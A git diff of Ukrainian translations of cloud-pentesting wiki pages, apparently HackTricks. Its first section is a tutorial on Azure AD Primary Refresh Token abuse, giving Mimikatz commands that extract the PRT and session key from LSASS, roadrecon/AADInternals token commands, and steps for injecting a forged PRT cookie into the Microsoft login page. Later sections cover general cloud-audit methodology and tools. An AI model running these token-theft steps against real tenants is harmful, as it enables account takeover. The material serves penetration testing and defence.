Перевірте, чи у вас є PRT +### Перевірте, чи маєте ви PRT ``` Dsregcmd.exe /status ``` -У розділі SSO State ви повинні побачити **`AzureAdPrt`**, встановлений на **YES**. +У розділі SSO State ви повинні бачити **`AzureAdPrt`**, встановлений на **YES**.
-У тому ж виході ви також можете побачити, чи **пристрій приєднано до Azure** (у полі `AzureAdJoined`): +У тому ж виході ви також можете побачити, чи **пристрій приєднано до Azure** (в полі `AzureAdJoined`):
## PRT Cookie -PRT cookie насправді називається **`x-ms-RefreshTokenCredential`** і це JSON Web Token (JWT). JWT містить **3 частини**, **заголовок**, **корисне навантаження** та **підпис**, розділені `.` і всі закодовані в base64, безпечному для URL. Типовий PRT cookie містить наступний заголовок і тіло: +PRT cookie насправді називається **`x-ms-RefreshTokenCredential`** і це JSON Web Token (JWT). JWT містить **3 частини**, **заголовок**, **вантаж** і **підпис**, розділені `.` і всі закодовані в base64, безпечному для URL. Типовий PRT cookie містить наступний заголовок і тіло: ```json { "alg": "HS256", @@ -34,30 +34,30 @@ PRT cookie насправді називається **`x-ms-RefreshTokenCredent "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" } ``` -Актуальний **Primary Refresh Token (PRT)** інкапсульований у **`refresh_token`**, який зашифрований ключем під контролем Azure AD, що робить його вміст непрозорим і нездешевним для нас. Поле **`is_primary`** позначає інкапсуляцію основного токена оновлення в цьому токені. Щоб забезпечити прив'язку куки до конкретної сесії входу, `request_nonce` передається зі сторінки `logon.microsoftonline.com`. +Актуальний **Primary Refresh Token (PRT)** інкапсульований у **`refresh_token`**, який зашифрований ключем під контролем Azure AD, що робить його вміст непрозорим і нездешифровуваним для нас. Поле **`is_primary`** позначає інкапсуляцію первинного токена оновлення в цьому токені. Щоб забезпечити прив'язку куки до конкретної сесії входу, `request_nonce` передається зі сторінки `logon.microsoftonline.com`. ### Потік куки PRT з використанням TPM Процес **LSASS** надішле до TPM **KDF context**, а TPM використає **session key** (зібраний під час реєстрації пристрою в AzureAD і збережений у TPM) та попередній контекст для **виведення** **ключа**, і цей **виведений ключ** використовується для **підписання куки PRT (JWT).** -**KDF context** - це nonce з AzureAD та PRT, що створює **JWT**, змішаний з **контекстом** (випадкові байти). +**KDF context** - це nonce з AzureAD і PRT, що створює **JWT**, змішаний з **контекстом** (випадкові байти). -Отже, навіть якщо PRT не може бути витягнутий, оскільки він знаходиться всередині TPM, можливо зловживати LSASS для **запиту виведених ключів з нових контекстів і використання згенерованих ключів для підписання куків**. +Отже, навіть якщо PRT не можна витягти, оскільки він знаходиться всередині TPM, можливо зловживати LSASS для **запиту виведених ключів з нових контекстів і використання згенерованих ключів для підписання куки**.
## Сценарії зловживання PRT Як **звичайний користувач**, можливо **запитати використання PRT**, звернувшись до LSASS за даними SSO.\ -Це можна зробити як **рідні додатки**, які запитують токени у **Web Account Manager** (брокер токенів). WAM передає запит до **LSASS**, який запитує токени, використовуючи підписане твердження PRT. Або це можна зробити за допомогою **браузерних (веб) потоків**, де **PRT cookie** використовується як **заголовок** для автентифікації запитів до сторінок входу Azure AS. +Це можна зробити, як **рідні додатки**, які запитують токени у **Web Account Manager** (посередник токенів). WAM передає запит до **LSASS**, який запитує токени, використовуючи підписане твердження PRT. Або це можна зробити за допомогою **браузерних (веб) потоків**, де **PRT cookie** використовується як **заголовок** для автентифікації запитів до сторінок входу Azure AS. Як **SYSTEM** ви могли б **викрасти PRT, якщо він не захищений** TPM або **взаємодіяти з ключами PRT у LSASS**, використовуючи крипто API. -## Приклади атак Pass-the-PRT +## Приклади атаки Pass-the-PRT ### Атака - ROADtoken -Для отримання додаткової інформації про цей спосіб [**перевірте цей пост**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken запустить **`BrowserCore.exe`** з правильного каталогу та використає його для **отримання куки PRT**. Цю куки потім можна використовувати з ROADtools для автентифікації та **отримання постійного токена оновлення**. +Для отримання додаткової інформації про цей спосіб [**перевірте цей пост**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken запустить **`BrowserCore.exe`** з правильного каталогу та використає його для **отримання куки PRT**. Цю куки можна потім використовувати з ROADtools для автентифікації та **отримання постійного токена оновлення**. Щоб згенерувати дійсну куки PRT, перше, що вам потрібно, це nonce.\ Ви можете отримати це за допомогою: @@ -96,9 +96,9 @@ roadrecon auth --prt-cookie # Connect Connect-AzureAD --AadAccessToken --AccountId ``` -### Attack - Using roadrecon +### Атака - Використання roadrecon -### Attack - Using AADInternals and a leaked PRT +### Атака - Використання AADInternals та витоку PRT `Get-AADIntUserPRTToken` **отримує PRT токен користувача** з комп'ютера, приєднаного до Azure AD або гібридного приєднання. Використовує `BrowserCore.exe` для отримання PRT токена. ```powershell @@ -136,7 +136,7 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken # Verify access and connect with Az. You can see account id in mimikatz prt output Connect-AzAccount -AccessToken $AT -TenantID -AccountId ``` -Перейдіть за посиланням [https://login.microsoftonline.com](https://login.microsoftonline.com), очистіть всі куки для login.microsoftonline.com та введіть новий куки. +Перейдіть на [https://login.microsoftonline.com](https://login.microsoftonline.com), очистіть всі куки для login.microsoftonline.com і введіть новий куки. ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] @@ -146,18 +146,18 @@ HttpOnly: Set to True (checked) Тоді перейдіть на [https://portal.azure.com](https://portal.azure.com) > [!CAUTION] -> Решта повинна бути за замовчуванням. Переконайтеся, що ви можете оновити сторінку, і кукі не зникне, якщо це станеться, ви могли зробити помилку і вам доведеться пройти процес знову. Якщо ні, то все має бути добре. +> Решта повинна бути за замовчуванням. Переконайтеся, що ви можете оновити сторінку, і кукі не зникне, якщо це станеться, ви могли зробити помилку і повинні пройти процес знову. Якщо ні, то все має бути добре. -### Attack - Mimikatz +### Атака - Mimikatz -#### Steps +#### Кроки 1. **PRT (Primary Refresh Token) витягується з LSASS** (Local Security Authority Subsystem Service) і зберігається для подальшого використання. -2. **Наступним витягується Session Key**. Оскільки цей ключ спочатку видається, а потім повторно шифрується локальним пристроєм, це вимагає розшифровки за допомогою майстер-ключа DPAPI. Докладну інформацію про DPAPI (Data Protection API) можна знайти в цих ресурсах: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), а для розуміння його застосування зверніться до [Pass-the-cookie attack](az-pass-the-cookie.md). +2. **Наступним витягується Session Key**. Оскільки цей ключ спочатку видається, а потім повторно шифрується локальним пристроєм, це вимагає розшифровки за допомогою DPAPI masterkey. Докладну інформацію про DPAPI (Data Protection API) можна знайти в цих ресурсах: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), а для розуміння його застосування зверніться до [Pass-the-cookie attack](az-pass-the-cookie.md). 3. Після розшифровки Session Key, **отримуються похідний ключ і контекст для PRT**. Вони є критично важливими для **створення кукі PRT**. Зокрема, похідний ключ використовується для підписання JWT (JSON Web Token), що складає кукі. Докладне пояснення цього процесу надано Дірком-Яном, доступне [тут](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). > [!CAUTION] -> Зверніть увагу, що якщо PRT знаходиться всередині TPM, а не всередині `lsass`, **mimikatz не зможе його витягти**.\ +> Зверніть увагу, що якщо PRT знаходиться всередині TPM і не всередині `lsass`, **mimikatz не зможе його витягти**.\ > Однак, буде можливим **отримати ключ з похідного ключа з контексту** з TPM і використовувати його для **підписання кукі (перевірте опцію 3).** Ви можете знайти **докладне пояснення виконаного процесу** для витягнення цих деталей тут: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) @@ -187,7 +187,7 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' > [!NOTE] > Якщо ви не бачите жодних даних PRT, це може бути тому, що у вас **немає жодних PRT** через те, що ваш пристрій не приєднаний до Azure AD, або ви **використовуєте стару версію** Windows 10. -Щоб **розшифрувати** ключ сесії, вам потрібно **підвищити** свої привілеї до **SYSTEM**, щоб працювати в контексті комп'ютера і мати можливість використовувати **майстер-ключ DPAPI для його розшифровки**. Ви можете використовувати наступні команди для цього: +Щоб **розшифрувати** ключ сесії, вам потрібно **підвищити** свої привілеї до **SYSTEM**, щоб працювати в контексті комп'ютера, щоб мати можливість використовувати **майстер-ключ DPAPI для його розшифровки**. Ви можете використовувати наступні команди для цього: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect @@ -196,7 +196,7 @@ dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect #### Варіант 1 - Повний Mimikatz -- Тепер ви хочете скопіювати обидва значення Context: +- Тепер ви хочете скопіювати значення Context:
@@ -219,12 +219,12 @@ HttpOnly: Set to True (checked) ``` - Потім перейдіть на [https://portal.azure.com](https://portal.azure.com) -> [!CAUTION] -> Решта повинна бути за замовчуванням. Переконайтеся, що ви можете оновити сторінку, і кукі не зникне, якщо це станеться, ви могли зробити помилку і вам доведеться пройти процес знову. Якщо ні, то все має бути в порядку. +> [!УВАГА] +> Решта повинна бути за замовчуванням. Переконайтеся, що ви можете оновити сторінку, і кукі не зникне, якщо це станеться, ви могли зробити помилку і вам доведеться пройти процес знову. Якщо ні, то все має бути добре. -#### Option 2 - roadrecon using PRT +#### Варіант 2 - roadrecon з використанням PRT -- Спочатку оновіть PRT, який буде збережено в `roadtx.prt`: +- Спочатку оновіть PRT, що зберегти його в `roadtx.prt`: ```bash roadtx prt -a renew --prt --prt-sessionkey ``` @@ -235,9 +235,9 @@ roadtx describe < .roadtools_auth ```
-#### Option 3 - roadrecon використовуючи похідні ключі +#### Варіант 3 - roadrecon з використанням похідних ключів -Маючи контекст і похідний ключ, вивантажений за допомогою mimikatz, можливо використовувати roadrecon для генерації нового підписаного cookie з: +Маючи контекст і похідний ключ, вивантажений за допомогою mimikatz, можна використовувати roadrecon для генерації нового підписаного cookie з: ```bash roadrecon auth --prt-cookie --prt-context --derives-key ``` diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index 7a2cd1d9d..26cf6fc02 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -2,6 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -Щоб розпочати тести, ви повинні мати доступ з користувачем з **правами читача над підпискою** та **глобальною роллю читача в AzureAD**. Якщо навіть у цьому випадку ви **не можете отримати доступ до вмісту облікових записів зберігання**, ви можете виправити це за допомогою **ролі учасника облікового запису зберігання**. +Щоб розпочати тести, ви повинні мати доступ з користувачем з **правами читача над підпискою** та **глобальною роллю читача в AzureAD**. Якщо навіть у цьому випадку ви **не можете отримати доступ до вмісту облікових записів зберігання**, ви можете виправити це за допомогою **ролі Співробітник облікового запису зберігання**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index f28d9eb69..51adebfee 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -1,44 +1,44 @@ -# Pentesting Cloud Methodology +# Методологія Пентестингу Хмари {{#include ../banners/hacktricks-training.md}}
-## Basic Methodology +## Основна Методологія -Кожен хмарний сервіс має свої особливості, але загалом є кілька **загальних речей, які повинен перевірити** пентестер під час тестування хмарного середовища: +Кожна хмара має свої особливості, але загалом є кілька **загальних речей, які повинен перевірити пентестер** під час тестування хмарного середовища: - **Перевірки стандартів** - Це допоможе вам **зрозуміти розмір** середовища та **використовувані сервіси** -- Це також дозволить вам знайти деякі **швидкі неправильні налаштування**, оскільки ви можете виконати більшість цих тестів за допомогою **автоматизованих інструментів** +- Це також дозволить вам знайти деякі **швидкі неправильні налаштування**, оскільки більшість з цих тестів можна виконати за допомогою **автоматизованих інструментів** - **Перерахування сервісів** -- Ви, напевно, не знайдете багато інших неправильних налаштувань тут, якщо ви правильно виконали перевірки стандартів, але ви можете знайти деякі, які не були перевірені під час тестування стандартів. -- Це дозволить вам дізнатися, **що саме використовується** в хмарному середовищі +- Ви, ймовірно, не знайдете багато інших неправильних налаштувань тут, якщо ви правильно виконали перевірки стандартів, але ви можете знайти деякі, які не були враховані в тестах стандартів. +- Це дозволить вам дізнатися **що саме використовується** в хмарному середовищі - Це дуже допоможе на наступних етапах - **Перевірка відкритих активів** - Це можна зробити під час попереднього розділу, вам потрібно **виявити все, що потенційно відкрито** в Інтернеті і як до цього можна отримати доступ. - Тут я маю на увазі **вручну відкриту інфраструктуру**, таку як інстанси з веб-сторінками або інші порти, що відкриті, а також інші **управляємі хмарні сервіси, які можуть бути налаштовані** на відкриття (такі як бази даних або контейнери) -- Потім ви повинні перевірити, **чи може цей ресурс бути відкритим чи ні** (конфіденційна інформація? вразливості? неправильні налаштування в відкритому сервісі?) +- Потім ви повинні перевірити **чи може цей ресурс бути відкритим чи ні** (конфіденційна інформація? вразливості? неправильні налаштування в відкритому сервісі?) - **Перевірка дозволів** - Тут ви повинні **виявити всі дозволи кожної ролі/користувача** всередині хмари і як вони використовуються -- Занадто **багато високопривілейованих** (контроль всього) облікових записів? Згенеровані ключі не використовуються?... Більшість цих перевірок вже повинні були бути виконані під час перевірок стандартів +- Занадто **багато високопривілейованих** (контроль всього) акаунтів? Згенеровані ключі не використовуються?... Більшість цих перевірок вже повинні були бути виконані в тестах стандартів - Якщо клієнт використовує OpenID або SAML або іншу **федерацію**, вам, можливо, потрібно буде запитати у них додаткову **інформацію** про **те, як призначається кожна роль** (не те ж саме, що роль адміністратора призначена 1 користувачу або 100) -- **Недостатньо знайти**, які користувачі мають **адміністративні** дозволи "\*:\*". Є багато **інших дозволів**, які, залежно від використовуваних сервісів, можуть бути дуже **чутливими**. -- Більше того, є **потенційні шляхи підвищення привілеїв**, які можна використовувати, зловживаючи дозволами. Усі ці речі повинні бути враховані, і **якомога більше шляхів підвищення привілеїв** повинні бути зафіксовані. +- **Недостатньо просто знайти**, які користувачі мають **адміністративні** дозволи "\*:\*". Є багато **інших дозволів**, які в залежності від використовуваних сервісів можуть бути дуже **чутливими**. +- Більше того, є **потенційні шляхи підвищення привілеїв** шляхом зловживання дозволами. Усі ці речі повинні бути враховані, і **якомога більше шляхів підвищення привілеїв** повинні бути зафіксовані. - **Перевірка інтеграцій** - Існує висока ймовірність, що **інтеграції з іншими хмарами або SaaS** використовуються всередині хмарного середовища. -- Для **інтеграцій хмари, яку ви перевіряєте**, з іншою платформою ви повинні повідомити **хто має доступ до (зловживати) цією інтеграцією** і ви повинні запитати **наскільки чутливим** є виконуване діяння.\ -Наприклад, хто може записувати в контейнер AWS, з якого GCP отримує дані (запитайте, наскільки чутливим є це діяння в GCP при обробці цих даних). -- Для **інтеграцій всередині хмари, яку ви перевіряєте**, з зовнішніх платформ, ви повинні запитати **хто має зовнішній доступ до (зловживати) цією інтеграцією** і перевірити, як ці дані використовуються.\ +- Для **інтеграцій хмари, яку ви перевіряєте** з іншою платформою, ви повинні повідомити **хто має доступ до (зловживати) цією інтеграцією** і ви повинні запитати **наскільки чутливим** є виконувана дія.\ +Наприклад, хто може записувати в контейнер AWS, з якого GCP отримує дані (запитайте, наскільки чутливою є дія в GCP, що стосується цих даних). +- Для **інтеграцій всередині хмари, яку ви перевіряєте** з зовнішніх платформ, ви повинні запитати **хто має зовнішній доступ до (зловживати) цією інтеграцією** і перевірити, як ці дані використовуються.\ Наприклад, якщо сервіс використовує Docker-образ, розміщений у GCR, ви повинні запитати, хто має доступ до його модифікації і яку чутливу інформацію та доступ отримає цей образ при виконанні всередині хмари AWS. -## Multi-Cloud tools +## Інструменти для багатохмарності Існує кілька інструментів, які можна використовувати для тестування різних хмарних середовищ. Кроки установки та посилання будуть вказані в цьому розділі. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -Інструмент для **виявлення поганих налаштувань і шляхів підвищення привілеїв у хмарах і між хмарами/SaaS.** +Інструмент для **виявлення поганих налаштувань і шляхів підвищення привілеїв у хмарах та між хмарами/SaaS.** {{#tabs }} {{#tab name="Install" }} @@ -194,7 +194,7 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate ```
-Щоб перевірити **інші GCP insights** (корисні для перерахунку сервісів) використовуйте: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +Щоб перевірити **інші GCP інсайти** (корисні для перерахунку сервісів), використовуйте: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) Щоб перевірити код Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) @@ -242,7 +242,7 @@ Nessus має _**Аудит хмарної інфраструктури**_ ск ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist - це **інструмент для багатохмарного отримання активів** (імен хостів, IP-адрес) від постачальників хмарних послуг. +Cloudlist є **мульти-хмарним інструментом для отримання активів** (імен хостів, IP-адрес) від постачальників хмарних послуг. {{#tabs }} {{#tab name="Cloudlist" }} @@ -263,12 +263,12 @@ cloudlist -config {{#endtab }} {{#endtabs }} -### [**cartography**](https://github.com/lyft/cartography) +### [**картографія**](https://github.com/lyft/cartography) -Cartography - це інструмент на Python, який консолідує інфраструктурні активи та відносини між ними в інтуїтивно зрозумілому графічному вигляді, що працює на базі бази даних Neo4j. +Картографія - це інструмент на Python, який консолідує інфраструктурні активи та відносини між ними в інтуїтивно зрозумілому графічному вигляді, що працює на базі Neo4j. {{#tabs }} -{{#tab name="Install" }} +{{#tab name="Встановлення" }} ```bash # Installation docker image pull ghcr.io/lyft/cartography @@ -412,10 +412,10 @@ azure-security/ ### Attack Graph -[**Stormspotter** ](https://github.com/Azure/Stormspotter) створює “граф атаки” ресурсів у підписці Azure. Це дозволяє червоним командам та pentester'ам візуалізувати поверхню атаки та можливості повороту в межах орендаря, а також значно покращує вашу оборону для швидкої орієнтації та пріоритизації роботи з реагування на інциденти. +[**Stormspotter** ](https://github.com/Azure/Stormspotter) створює “графік атаки” ресурсів у підписці Azure. Це дозволяє червоним командам та pentesters візуалізувати поверхню атаки та можливості для переходу в межах орендаря, а також значно покращує вашу оборону для швидкої орієнтації та пріоритизації роботи з реагування на інциденти. ### Office365 -Вам потрібен **Global Admin** або принаймні **Global Admin Reader** (але зверніть увагу, що Global Admin Reader має деякі обмеження). Однак ці обмеження з'являються в деяких PS модулях і можуть бути обійдені доступом до функцій **через веб-додаток**. +Вам потрібен **Global Admin** або принаймні **Global Admin Reader** (але зверніть увагу, що Global Admin Reader має деякі обмеження). Однак ці обмеження з'являються в деяких PS модулях і можуть бути обійдені, отримуючи доступ до функцій **через веб-додаток**. {{#include ../banners/hacktricks-training.md}}